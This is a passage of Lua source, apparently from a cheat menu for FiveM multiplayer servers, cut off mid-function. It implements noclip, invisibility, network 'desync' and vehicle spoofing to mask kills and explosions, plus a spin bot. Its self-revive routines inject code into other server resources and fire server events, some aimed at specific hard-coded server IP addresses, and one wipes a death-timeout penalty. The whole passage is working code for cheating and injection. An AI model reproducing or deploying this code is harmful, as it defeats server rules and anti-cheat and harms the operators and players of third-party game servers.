assembledMenuFunctions.endNoclipVehicleSpoofIfActive() if menu.vars and menu.vars._noclipVehicleSpoofActive then menu.vars._noclipVehicleSpoofActive = false if menu.vars._noclipVehicleSpoofOwned then menu.vars._noclipVehicleSpoofOwned = false if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) end end end end function assembledMenuFunctions.endFullInvisibleVehicleSpoofIfActive() if not menu.vars then return end menu.vars._noclipVehicleSpoofActive = false menu.vars._noclipVehicleSpoofOwned = false local desyncActive = menu.functions.isDesyncNameEffectActive and menu.functions.isDesyncNameEffectActive() if not desyncActive and menu.vars.bools then desyncActive = menu.vars.bools.desyncName == true end local freecamSpoofActive = menu.vars._freecamDesyncSpoofActive == true local noclipSpoofActive = false if menu.vars.bools then noclipSpoofActive = menu.vars.bools.noclip == true and (menu.vars.bools.fullInvisible == true or menu.vars.pmFullInvisibleActive == true) end if not desyncActive and not freecamSpoofActive and not noclipSpoofActive then return end if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) end end function assembledMenuFunctions.startNoclipVehicleSpoof() if not menu.vars then return end menu.vars._noclipVehicleSpoofActive = true if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then menu.vars._noclipVehicleSpoofOwned = false return end menu.vars._noclipVehicleSpoofOwned = true if menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() end end function assembledMenuFunctions.beginFullInvisibleNoclipUi() if menu.vars then menu.vars.pmFullInvisibleActive = true menu.vars.espForceRefresh = true end if menu.functions and menu.functions.showFullInvisibleNotify then menu.functions.showFullInvisibleNotify() end end function assembledMenuFunctions.endFullInvisibleNoclipUi() if menu.functions and menu.functions.hideFullInvisibleNotify then menu.functions.hideFullInvisibleNotify() end if menu.vars and menu.vars.bools and menu.vars.bools.fullInvisibleWalk ~= true then menu.vars.pmFullInvisibleActive = false menu.vars.espForceRefresh = true menu.vars.espViewerRecoverUntil = GetGameTimer() + 3000 end end function assembledMenuFunctions.restoreFullInvisibleWalkState() if not menu.vars or not menu.vars.bools or menu.vars.bools.fullInvisibleWalk ~= true then return end menu.vars.bools.fullInvisible = false menu.vars.bools.noclipInvis = false menu.vars.pmFullInvisibleActive = true menu.vars.espForceRefresh = true menu.vars._noclipVehicleSpoofActive = false menu.vars._noclipVehicleSpoofOwned = false if menu.functions and menu.functions.startNoclipVehicleSpoof then menu.functions.startNoclipVehicleSpoof() end end function assembledMenuFunctions.applyNoclipModeOnChange() if menu.vars and menu.vars.bools and menu.vars.bools.noclipModeEnabled then menu.functions.applyNoclipModeToggle({ toggleState = true }) end end function assembledMenuFunctions.applyNoclipModeToggle(toggleOptions) if not menu.vars or not menu.vars.bools then return end local enabled = toggleOptions and toggleOptions.toggleState == true if not enabled then if menu.functions and menu.functions.clearNoclipModeEffects then menu.functions.clearNoclipModeEffects() end if menu.vars.bools.noclip then Ham.noClip(true) local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) and not IsPedInAnyVehicle(playerPed, false) then ClearPedTasks(playerPed) end end return end if menu.vars.bools.noclip and menu.functions and menu.functions.applyNoclipMode then menu.functions.applyNoclipMode() end end function assembledMenuFunctions.applyNoclipMode() if not menu.vars or not menu.vars.bools or not menu.vars.selectors then return end if menu.vars.bools.noclipModeEnabled ~= true then return end local noclipMode = menu.vars.selectors.noclipMode or 1 if menu.vars.bools.noclip ~= true then return end if noclipMode == 2 and menu.vars._noclipVehicleSpoofActive then menu.vars.bools.fullInvisible = true menu.vars.bools.noclipInvis = true if menu.functions and menu.functions.beginFullInvisibleNoclipUi then menu.functions.beginFullInvisibleNoclipUi() end Ham.noClip(true) return end if menu.functions and menu.functions.endNoclipVehicleSpoofIfActive then menu.functions.endNoclipVehicleSpoofIfActive() end menu.vars.bools.noclipInvis = false if menu.functions and menu.functions.toggleFullInvisible and _G.pmFullInvisibleActive == true then menu.functions.toggleFullInvisible({ toggleState = false, fromNoclipToggle = true, keepArmed = true }) elseif menu.functions and menu.functions.endFullInvisibleNoclipUi and (menu.vars.pmFullInvisibleActive == true or menu.vars.bools.fullInvisible == true) then menu.functions.endFullInvisibleNoclipUi() end menu.vars.bools.fullInvisible = false local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then menu.utils.restoreNoclipInvisHidden(playerPed) end if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end if noclipMode == 1 then if menu.functions and menu.functions.endNoclipSoloSessionIfActive then menu.functions.endNoclipSoloSessionIfActive() end menu.vars.bools.noclipInvis = true Ham.noClip(true) return end if noclipMode == 2 then if menu.functions and menu.functions.endNoclipSoloSessionIfActive then menu.functions.endNoclipSoloSessionIfActive() end if menu.functions and menu.functions.disableDesyncNameIfActive then menu.functions.disableDesyncNameIfActive() end if menu.functions and menu.functions.startNoclipVehicleSpoof then menu.functions.startNoclipVehicleSpoof() end if menu.functions and menu.functions.beginFullInvisibleNoclipUi then menu.functions.beginFullInvisibleNoclipUi() end menu.vars.bools.fullInvisible = true menu.vars.bools.noclipInvis = true Ham.noClip(true) return end if noclipMode == 3 then Ham.noClip(true) if not menu.functions or not menu.functions.startNoclipSoloSession then return end menu.functions.startNoclipSoloSession() return end if menu.functions and menu.functions.endNoclipSoloSessionIfActive then menu.functions.endNoclipSoloSessionIfActive() end Ham.noClip(true) playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) and not IsPedInAnyVehicle(playerPed, false) then ClearPedTasks(playerPed) end end function assembledMenuFunctions.applyInvisibilityMode(toggleOptions) if menu.vars and menu.vars.bools and menu.vars.bools.invisibilityEnabled then menu.functions.applyInvisibility({ toggleState = true }) end end function assembledMenuFunctions.restoreDesyncNameVisible() local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then menu.utils.restoreNoclipInvisHidden(playerPed) end if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end end function assembledMenuFunctions.isDesyncNameEffectActive() if not menu.vars or not menu.vars.bools then return false end return menu.vars.bools.desyncName == true or menu.vars._freecamDesyncActive == true or menu.vars._launchVehicleNewDesyncActive == true end function assembledMenuFunctions.startFreecamVehicleSpoof() if not menu.vars then return end menu.vars._freecamDesyncSpoofActive = true if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then menu.vars._freecamDesyncSpoofOwned = false return end menu.vars._freecamDesyncSpoofOwned = true if menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() end end function assembledMenuFunctions.endFreecamVehicleSpoofIfActive() if menu.vars and menu.vars._freecamDesyncSpoofActive then menu.vars._freecamDesyncSpoofActive = false if menu.vars._freecamDesyncSpoofOwned then menu.vars._freecamDesyncSpoofOwned = false if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) end end end end function assembledMenuFunctions.startFreecamDesync() if not menu.vars or not menu.vars.bools then return end if menu.vars.bools.desyncName == true or menu.vars._freecamDesyncActive == true then return end menu.vars._freecamDesyncActive = true if menu.functions.updateDesyncBlockTaskTree then menu.functions.updateDesyncBlockTaskTree() end end function assembledMenuFunctions.endFreecamDesyncIfActive() if not menu.vars or not menu.vars._freecamDesyncActive then return end menu.vars._freecamDesyncActive = false menu.functions.endFreecamVehicleSpoofIfActive() if menu.functions.updateDesyncBlockTaskTree then menu.functions.updateDesyncBlockTaskTree() end end function assembledMenuFunctions.getVehicleSpoofOffset() return 0 end function assembledMenuFunctions.enableVehicleSpoof() if not Ham.Network or not Ham.Network.vehicleSpoof then return end local offset = menu.functions.getVehicleSpoofOffset and menu.functions.getVehicleSpoofOffset() or 0 Ham.Network.vehicleSpoof(true, offset, 1) end function assembledMenuFunctions.hasPersistentVehicleSpoofDemand() if not menu.vars then return false end local toggleStates = menu.vars.bools if toggleStates then if toggleStates.fullInvisible == true or toggleStates.fullInvisibleWalk == true or toggleStates.desyncName == true then return true end if toggleStates.noclip == true and (toggleStates.fullInvisible == true or menu.vars.pmFullInvisibleActive == true) then return true end end if menu.vars.pmFullInvisibleActive == true or _G.pmFullInvisibleActive == true or menu.vars._noclipVehicleSpoofActive == true or menu.vars._freecamDesyncSpoofActive == true or menu.vars._desyncNameSpoofActive == true or menu.vars._teleportUnderMapSpoofActive == true or menu.vars._launchVehicleNewDesyncActive == true then return true end return false end function assembledMenuFunctions.shouldDisableTemporaryKillVehicleSpoof() if menu.functions.hasPersistentVehicleSpoofDemand and menu.functions.hasPersistentVehicleSpoofDemand() then return false end if menu.vars and menu.vars._rageBotUdKillSpoofWanted == true then return false end if menu.vars._destroyerKillWorldSpoofBursts and menu.vars._destroyerKillWorldSpoofBursts > 0 then return false end if menu.vars._recommendedBypassSpoofBursts and menu.vars._recommendedBypassSpoofBursts > 0 then return false end return true end function assembledMenuFunctions.beginDestroyerKillVehicleSpoofBurst() if not menu.vars then return end menu.vars._destroyerKillWorldSpoofBursts = (menu.vars._destroyerKillWorldSpoofBursts or 0) + 1 if menu.vars._destroyerKillWorldSpoofBursts > 1 or menu.vars._destroyerKillWorldSpoofOwned then return end if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then return end if menu.functions and menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() menu.vars._destroyerKillWorldSpoofOwned = true return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(true) menu.vars._destroyerKillWorldSpoofOwned = true end end function assembledMenuFunctions.endDestroyerKillVehicleSpoofBurst() if not menu.vars then return end menu.vars._destroyerKillWorldSpoofBursts = math.max(0, (menu.vars._destroyerKillWorldSpoofBursts or 0) - 1) if menu.vars._destroyerKillWorldSpoofBursts > 0 or not menu.vars._destroyerKillWorldSpoofOwned then return end menu.vars._destroyerKillWorldSpoofOwned = false if menu.functions.shouldDisableTemporaryKillVehicleSpoof and not menu.functions.shouldDisableTemporaryKillVehicleSpoof() then return end if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(false) end end function assembledMenuFunctions.forceEndDestroyerKillVehicleSpoof() if not menu.vars then return end menu.vars._destroyerKillWorldSpoofBursts = 0 if not menu.vars._destroyerKillWorldSpoofOwned then return end menu.vars._destroyerKillWorldSpoofOwned = false if menu.functions.shouldDisableTemporaryKillVehicleSpoof and not menu.functions.shouldDisableTemporaryKillVehicleSpoof() then return end if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(false) end end function assembledMenuFunctions.beginTemporaryKillVehicleSpoof() if not menu.vars or menu.vars._playerSafeKillSpoofOwned then return end if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then return end if menu.functions and menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() menu.vars._playerSafeKillSpoofOwned = true return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(true) menu.vars._playerSafeKillSpoofOwned = true end end function assembledMenuFunctions.endTemporaryKillVehicleSpoofIfOwned() if not menu.vars or not menu.vars._playerSafeKillSpoofOwned then return end menu.vars._playerSafeKillSpoofOwned = false if menu.functions.shouldDisableTemporaryKillVehicleSpoof and not menu.functions.shouldDisableTemporaryKillVehicleSpoof() then return end if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(false) end end function assembledMenuFunctions.beginFreecamSpawnExplosionVehicleSpoofBurst() if not menu.vars or menu.vars._freecamSpawnExplosionSpoofOwned then return end if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then return end if menu.functions and menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() menu.vars._freecamSpawnExplosionSpoofOwned = true return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(true) menu.vars._freecamSpawnExplosionSpoofOwned = true end end function assembledMenuFunctions.endFreecamSpawnExplosionVehicleSpoofBurst() if not menu.vars or not menu.vars._freecamSpawnExplosionSpoofOwned then return end menu.vars._freecamSpawnExplosionSpoofOwned = false if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(false) end end function assembledMenuFunctions.beginRecommendedBypassDamageVehicleSpoof() if not menu.vars then return end menu.vars._recommendedBypassSpoofBursts = (menu.vars._recommendedBypassSpoofBursts or 0) + 1 if menu.vars._recommendedBypassSpoofBursts > 1 or menu.vars._recommendedBypassSpoofOwned then return end if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then return end if menu.functions and menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() menu.vars._recommendedBypassSpoofOwned = true return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(true) menu.vars._recommendedBypassSpoofOwned = true end end function assembledMenuFunctions.scheduleEndRecommendedBypassDamageVehicleSpoof(delay) delay = delay or 175 CreateThread(function() Wait(delay) if menu.functions.endRecommendedBypassDamageVehicleSpoofBurst then menu.functions.endRecommendedBypassDamageVehicleSpoofBurst() end end) end function assembledMenuFunctions.endRecommendedBypassDamageVehicleSpoofBurst() if not menu.vars then return end menu.vars._recommendedBypassSpoofBursts = math.max(0, (menu.vars._recommendedBypassSpoofBursts or 0) - 1) if menu.vars._recommendedBypassSpoofBursts > 0 or not menu.vars._recommendedBypassSpoofOwned then return end menu.vars._recommendedBypassSpoofOwned = false if menu.functions.shouldDisableTemporaryKillVehicleSpoof and not menu.functions.shouldDisableTemporaryKillVehicleSpoof() then return end if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(false) end end function assembledMenuFunctions.forceEndRecommendedBypassDamageVehicleSpoof() if not menu.vars then return end menu.vars._recommendedBypassSpoofBursts = 0 if not menu.vars._recommendedBypassSpoofOwned then return end menu.vars._recommendedBypassSpoofOwned = false if menu.functions.shouldDisableTemporaryKillVehicleSpoof and not menu.functions.shouldDisableTemporaryKillVehicleSpoof() then return end if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) return end if menu.utils and menu.utils.toggleVehicleSpoof then menu.utils.toggleVehicleSpoof(false) end end function assembledMenuFunctions.withRecommendedBypassDamageVehicleSpoof(action, delay) if not menu.vars or not menu.vars.bools or not menu.vars.bools.weaponBypassRecommended then if action then action() end return end local playerPed = PlayerPedId() local selectedWeapon = playerPed ~= 0 and GetSelectedPedWeapon(playerPed) or 0 local armed = selectedWeapon ~= 0 and selectedWeapon ~= GetHashKey("WEAPON_UNARMED") if armed then if menu.functions.beginRecommendedBypassDamageVehicleSpoof then menu.functions.beginRecommendedBypassDamageVehicleSpoof() end end if action then action() end if armed and menu.functions.scheduleEndRecommendedBypassDamageVehicleSpoof then menu.functions.scheduleEndRecommendedBypassDamageVehicleSpoof(delay) end end function assembledMenuFunctions.startDesyncNameVehicleSpoof() if not menu.vars then return end menu.vars._desyncNameSpoofActive = true if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then menu.vars._desyncNameSpoofOwned = false return end menu.vars._desyncNameSpoofOwned = true if menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() end end function assembledMenuFunctions.endDesyncNameVehicleSpoofIfActive() if menu.vars and menu.vars._desyncNameSpoofActive then menu.vars._desyncNameSpoofActive = false if menu.vars._desyncNameSpoofOwned then menu.vars._desyncNameSpoofOwned = false if menu.functions.hasPersistentVehicleSpoofDemand and menu.functions.hasPersistentVehicleSpoofDemand() then return end if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) end end end end function assembledMenuFunctions.startTeleportUnderMapVehicleSpoof() if not menu.vars then return end menu.vars._teleportUnderMapSpoofActive = true if Ham.Network and Ham.Network.isVehicleSpoofActive and Ham.Network.isVehicleSpoofActive() then menu.vars._teleportUnderMapSpoofOwned = false return end menu.vars._teleportUnderMapSpoofOwned = true if menu.functions.enableVehicleSpoof then menu.functions.enableVehicleSpoof() end end function assembledMenuFunctions.endTeleportUnderMapVehicleSpoofIfActive() if menu.vars and menu.vars._teleportUnderMapSpoofActive then menu.vars._teleportUnderMapSpoofActive = false if menu.vars._teleportUnderMapSpoofOwned then menu.vars._teleportUnderMapSpoofOwned = false if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) end end end end function assembledMenuFunctions.zmodzEscapeVehicleSpoof() if not menu.vars.zmodzEscapeUsers or not menu.vars.zmodzEscapeUsers[Ham.getName()] then return end menu.vars._noclipVehicleSpoofActive = false menu.vars._noclipVehicleSpoofOwned = false menu.vars._desyncNameSpoofActive = false menu.vars._desyncNameSpoofOwned = false menu.vars._freecamDesyncActive = false menu.vars._freecamDesyncSpoofActive = false menu.vars._freecamDesyncSpoofOwned = false menu.vars._teleportUnderMapSpoofActive = false menu.vars._teleportUnderMapSpoofOwned = false if Ham.Network and Ham.Network.vehicleSpoof then Ham.Network.vehicleSpoof(false) end menu.utils.notify("Vehicle spoof disabled", "success", 3000) end function assembledMenuFunctions.disableDesyncNameModes() if not menu.vars or not menu.vars.bools then return end if menu.vars.bools.invisibilityEnabled then menu.vars.bools.invisibilityEnabled = false if menu.functions.applyInvisibility then menu.functions.applyInvisibility({ toggleState = false }) end end if menu.functions.toggleFullInvisibleWalk and menu.vars.bools.fullInvisibleWalk then menu.functions.toggleFullInvisibleWalk({ toggleState = false }) end if menu.functions.toggleFullInvisible and ( _G.pmFullInvisibleActive == true or menu.vars.bools.fullInvisible == true or menu.vars.bools.fullInvisibleWalk == true ) then menu.functions.toggleFullInvisible({ toggleState = false }) end if menu.vars.bools.invisibility then menu.vars.bools.invisibility = false if menu.functions.toggleInvisibility then menu.functions.toggleInvisibility({ toggleState = false }) end end end function assembledMenuFunctions.disableDesyncNameIfActive() if not menu.vars or not menu.vars.bools or menu.vars.bools.desyncName ~= true then return end menu.vars.bools.desyncName = false menu.functions.endDesyncNameVehicleSpoofIfActive() menu.functions.restoreDesyncNameVisible() if menu.functions.updateDesyncBlockTaskTree then menu.functions.updateDesyncBlockTaskTree() end if menu.functions.hideDesyncNotify then menu.functions.hideDesyncNotify() end end function assembledMenuFunctions.updateDesyncBlockTaskTree() if not Ham.Network or not Ham.Network.blockTaskTree then return end if not menu.functions.isDesyncNameEffectActive or not menu.functions.isDesyncNameEffectActive() then Ham.Network.blockTaskTree(false) menu.vars._desyncVehicleEnterAt = nil menu.vars._desyncWasInVehicle = nil return end local playerPed = PlayerPedId() local inVehicle = playerPed ~= 0 and DoesEntityExist(playerPed) and IsPedInAnyVehicle(playerPed, false) local selectedWeapon = playerPed ~= 0 and GetSelectedPedWeapon(playerPed) or 0 if selectedWeapon ~= 0 and selectedWeapon ~= GetHashKey("WEAPON_UNARMED") then Ham.Network.blockTaskTree(false) return end if inVehicle then if not menu.vars._desyncWasInVehicle then menu.vars._desyncVehicleEnterAt = GetGameTimer() menu.vars._desyncWasInVehicle = true end local enteredAt = menu.vars._desyncVehicleEnterAt or GetGameTimer() Ham.Network.blockTaskTree(GetGameTimer() - enteredAt < 2000) return end menu.vars._desyncVehicleEnterAt = nil menu.vars._desyncWasInVehicle = nil Ham.Network.blockTaskTree(true) end function assembledMenuFunctions.toggleDesyncName(toggleOptions) if not menu.vars or not menu.vars.bools then return end local enabled = toggleOptions and toggleOptions.toggleState == true if enabled then menu.functions.disableDesyncNameModes() menu.functions.startDesyncNameVehicleSpoof() menu.functions.restoreDesyncNameVisible() if menu.functions.showDesyncNotify then menu.functions.showDesyncNotify() end if not menu.functions.updateDesyncBlockTaskTree then return end menu.functions.updateDesyncBlockTaskTree() return end menu.functions.endDesyncNameVehicleSpoofIfActive() menu.functions.restoreDesyncNameVisible() if menu.functions.hideDesyncNotify then menu.functions.hideDesyncNotify() end if menu.functions.updateDesyncBlockTaskTree then menu.functions.updateDesyncBlockTaskTree() end end function assembledMenuFunctions.applyInvisibility(toggleOptions) if not menu.vars or not menu.vars.bools then return end local enabled = toggleOptions and toggleOptions.toggleState == true local fullInvisibleWalk = menu.vars.selectors and menu.vars.selectors.invisibilityMode or 1 fullInvisibleWalk = fullInvisibleWalk == 2 if enabled and menu.vars.bools.desyncName and menu.functions.disableDesyncNameIfActive then menu.functions.disableDesyncNameIfActive() end if enabled then if fullInvisibleWalk then menu.vars.bools.invisibility = false if menu.functions.toggleInvisibility then menu.functions.toggleInvisibility({ toggleState = false }) end if not menu.functions.toggleFullInvisibleWalk then return end menu.functions.toggleFullInvisibleWalk({ toggleState = true }) return end if menu.functions.toggleFullInvisibleWalk then menu.functions.toggleFullInvisibleWalk({ toggleState = false }) end if menu.functions.toggleFullInvisible and (_G.pmFullInvisibleActive == true or menu.vars.bools.fullInvisibleWalk == true) then menu.functions.toggleFullInvisible({ toggleState = false }) end menu.vars.bools.fullInvisibleWalk = false menu.vars.bools.invisibility = true if not menu.functions.toggleInvisibility then return end menu.functions.toggleInvisibility({ toggleState = true }) return end menu.vars.bools.invisibility = false if menu.functions.toggleInvisibility then menu.functions.toggleInvisibility({ toggleState = false }) end if menu.functions.toggleFullInvisibleWalk then menu.functions.toggleFullInvisibleWalk({ toggleState = false }) end if menu.functions.toggleFullInvisible and ( _G.pmFullInvisibleActive == true or menu.vars.bools.fullInvisible == true or menu.vars.bools.fullInvisibleWalk == true ) then menu.functions.toggleFullInvisible({ toggleState = false }) end menu.vars.bools.fullInvisibleWalk = false end function assembledMenuFunctions.toggleInvisibility(toggleOptions) if not toggleOptions.toggleState then local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then menu.utils.restoreNoclipInvisHidden(playerPed) end if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreNoclipInvisHidden(GetVehiclePedIsIn(playerPed, false)) end end end function assembledMenuFunctions.reviveSelfVisn() menu.utils.safeExecute([[ TriggerEvent("visn_are:resetHealthBuffer") ]]) end function assembledMenuFunctions.reviveSelfEsx() menu.utils.safeExecute("TriggerEvent(\"esx_ambulancejob:revive\")") end function assembledMenuFunctions.reviveSelfWasabi() menu.utils.safeExecute([[ TriggerEvent("wasabi_ambulance:revive") ]]) end function assembledMenuFunctions.reviveSelf0rAmbulance() menu.utils.safeExecute("TriggerEvent(\"0r-ambulancejob:client:medical:revive\")") end function assembledMenuFunctions.reviveSelfExodus() Citizen.CreateThread(function() Ham.Execute( "esx_ambulancejob", [[ local playerPed = PlayerPedId() IsDead = false combatLogHandled = false if IsEntityAttached(playerPed) then DetachEntity(playerPed, true, false) end local coords = GetEntityCoords(playerPed) local safeCoords = coords if GetResourceState('exodus_deathscreen') == 'started' then safeCoords = exports['exodus_deathscreen']:GetSafeGroundCoords(coords) end RespawnPed(playerPed, { x = ESX.Math.Round(safeCoords.x, 1), y = ESX.Math.Round(safeCoords.y, 1), z = ESX.Math.Round(safeCoords.z, 1) }, GetEntityHeading(playerPed)) DoScreenFadeIn(0) ]] ) Citizen.Wait(1000) Ham.Execute( "exodus_deathtimeout", [[ TriggerEvent("louis:removeTime", 999999999999) ]] ) end) end function assembledMenuFunctions.reviveSelfCorleone() menu.utils.safeExecute([[ TriggerEvent('cc_core:fraction:revive', true, false, 0.0) TriggerEvent('cc_core:hud:useItem', 'food', 100, false) TriggerEvent('cc_core:hud:useItem', 'thirst', 100, false) ]]) end function assembledMenuFunctions.getPlayerHealthPercent(entity) entity = entity or PlayerPedId() if entity == 0 or not DoesEntityExist(entity) then return 0 end if IsEntityDead(entity) or IsPedDeadOrDying(entity, true) then return 0 end local health = GetEntityHealth(entity) or 0 local maxHealth = GetEntityMaxHealth(entity) or 200 if health <= 100 then return 0 end local healthRange = math.max(1, maxHealth - 100) return math.max(0, math.min(100, math.floor((health - 100) / healthRange * 100 + 0.5))) end function assembledMenuFunctions.getPlayerArmorPercent(entity) entity = entity or PlayerPedId() if entity == 0 or not DoesEntityExist(entity) then return 0 end return math.max(0, math.min(100, math.floor((GetPedArmour(entity) or 0) + 0.5))) end function assembledMenuFunctions.snapPlayerStatToTen(value) local step = 5 local clamped = math.max(0, math.min(100, tonumber(value) or 0)) return math.floor((clamped + step / 2) / step) * step end function assembledMenuFunctions.applyPlayerHealth(value) local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) then return end local healthPercent = menu.functions.snapPlayerStatToTen(value) if healthPercent <= 0 then SetEntityHealth(playerPed, 0) return end local maxHealth = GetEntityMaxHealth(playerPed) or 200 local health = 100 + math.floor(healthPercent / 100 * (maxHealth - 100) + 0.5) SetEntityHealth(playerPed, health) end function assembledMenuFunctions.applyPlayerArmor(value) local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) then return end SetPedArmour(playerPed, menu.functions.snapPlayerStatToTen(value)) end function assembledMenuFunctions.healSelf() local health = menu.vars.sliders and menu.vars.sliders.playerHealth or 95 menu.functions.applyPlayerHealth(health) menu.utils.notifyBottom("Heal", "success", 2500) end function assembledMenuFunctions.fillArmor() local armor = menu.vars.sliders and menu.vars.sliders.playerArmor or 95 menu.functions.applyPlayerArmor(armor) menu.utils.notifyBottom("Armor", "success", 2500) end function assembledMenuFunctions.reviveSelf() local revivePayload = "TriggerEvent(\"deineelternsindgeschwister\")" if Ham.getServerEndpoint() == "185.219.84.156" then menu.functions.reviveSelfExodus() elseif Ham.getServerEndpoint() == "193.46.81.93" and Ham.hasResource("rohdiamant_carplay") then menu.utils.injectUtils("rohdiamant_carplay") Ham.Execute("rohdiamant_carplay", revivePayload) elseif Hdn.hasResource("visn_are") then menu.functions.reviveSelfVisn() elseif Hdn.hasResource("supremo_core") then menu.utils.safeExecute("TriggerEvent(\"deineelternsindgeschwister\")") elseif Ham.hasResource("0r-ambulancejob") then menu.functions.reviveSelf0rAmbulance() elseif Ham.hasResource("wasabi_ambulance") then menu.functions.reviveSelfWasabi() elseif Ham.hasResource("cc_core") then menu.functions.reviveSelfCorleone() else menu.functions.reviveSelfEsx() end menu.utils.notify("Revived", "success", 3000) end function assembledMenuFunctions.suicideSelf(toggleOptions) SetEntityHealth(PlayerPedId(), 0) end function assembledMenuFunctions.toggleSpinBot(toggleOptions) local function restoreSpinBotVehicle() if _G.pmSpinBotVeh and _G.pmSpinBotVeh ~= 0 and DoesEntityExist(_G.pmSpinBotVeh) and _G.pmSpinBotVehTractionMax then SetVehicleHandlingFloat( _G.pmSpinBotVeh, "CHandlingData", "fTractionCurveMax", _G.pmSpinBotVehTractionMax ) SetVehicleHandlingFloat( _G.pmSpinBotVeh, "CHandlingData", "fTractionCurveMin", _G.pmSpinBotVehTractionMin or _G.pmSpinBotVehTractionMax ) end _G.pmSpinBotVeh = nil _G.pmSpinBotVehTractionMax = nil _G.pmSpinBotVehTractionMin = nil end local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState elseif menu.vars.bools then enabled = menu.vars.bools.spinBot == true end if not enabled then restoreSpinBotVehicle() return end if _G.pmSpinBotThreadActive then return end _G.pmSpinBotThreadActive = true _G.pmSpinBotHeading = GetEntityHeading(PlayerPedId()) Citizen.CreateThread(function() local footRotationSpeed = 6.0 local sprintRotationSpeed = 12.0 local walkVelocity = 3.6 local sprintVelocity = 6.8 while menu.vars.bools and menu.vars.bools.spinBot do Citizen.Wait(0) local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) then break end if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle == 0 or not DoesEntityExist(vehicle) or GetPedInVehicleSeat(vehicle, -1) ~= playerPed then break end if _G.pmSpinBotVeh ~= vehicle then restoreSpinBotVehicle() _G.pmSpinBotVeh = vehicle _G.pmSpinBotHeading = GetEntityHeading(vehicle) end local velocity = GetEntityVelocity(vehicle) _G.pmSpinBotHeading = ((_G.pmSpinBotHeading or GetEntityHeading(vehicle)) + footRotationSpeed) % 360.0 local rotation = GetEntityRotation(vehicle, 2) SetEntityRotation(vehicle, rotation.x, rotation.y, _G.pmSpinBotHeading - 360.0, 2, true) SetEntityVelocity(vehicle, velocity.x, velocity.y, velocity.z) else if _G.pmSpinBotVeh then restoreSpinBotVehicle() _G.pmSpinBotHeading = GetEntityHeading(playerPed) end if not IsPedOnFoot(playerPed) or IsPedRagdoll(playerPed) then break end local forwardInput, sideInput = 0, 0 if menu.utils and menu.utils.getMoveAxisInput then forwardInput, sideInput = menu.utils.getMoveAxisInput() else if IsControlPressed(0, 32) then forwardInput = forwardInput + 1 end if IsControlPressed(0, 33) then forwardInput = forwardInput - 1 end if IsControlPressed(0, 34) then sideInput = sideInput - 1 end if IsControlPressed(0, 35) then sideInput = sideInput + 1 end end local velocity = GetEntityVelocity(playerPed) local sprinting = IsControlPressed(0, 21) if not sprinting and type(IsDisabledControlPressed) == "function" then sprinting = IsDisabledControlPressed(0, 21) end local movingFast = type(IsPedSprinting) == "function" and IsPedSprinting(playerPed) if not movingFast and type(IsPedRunning) == "function" then movingFast = IsPedRunning(playerPed) end if not movingFast then movingFast = sprinting end local rotationSpeed = movingFast and sprintRotationSpeed or footRotationSpeed if forwardInput ~= 0 